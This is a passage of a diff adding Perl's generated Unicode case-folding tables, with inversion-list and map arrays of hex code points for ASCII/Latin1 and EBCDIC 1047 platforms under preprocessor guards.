+	0x1F60,
+	0,
+	0x1F80,
+	0,
+	0x1F90,
+	0,
+	0x1FA0,
+	0,
+	0x1FB0,
+	0x1F70,
+	0x1FB3,
+	0,
+	0x3B9,
+	0,
+	0x1F72,
+	0x1FC3,
+	0,
+	0x1FD0,
+	0x1F76,
+	0,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	0x1F78,
+	0x1F7C,
+	0x1FF3,
+	0,
+	0x3C9,
+	0,
+	0x6B,
+	0xE5,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0x13A0,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Simple_Case_Folding_invlist[] = { /* for EBCDIC 1047 */
+	1284,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x345,
+	0x346,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9B,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD8,
+	0x1FDA,
+	0x1FDC,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
+	0x1FED,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
+	0xA7AF,
+	0xA7B0,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xAB70,
+	0xABC0,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const int Simple_Case_Folding_invmap[] = { /* for EBCDIC 1047 */
+	0,
+	0x42,
+	0,
+	0x51,
+	0,
+	0x70,
+	0,
+	0x9C,
+	0,
+	0x3BC,
+	0,
+	0x8C,
+	0,
+	0x8E,
+	0,
+	0x8D,
+	0,
+	0x81,
+	0,
+	0x91,
+	0,
+	0xA2,
+	0,
+	0xCB,
+	0,
+	0xDB,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
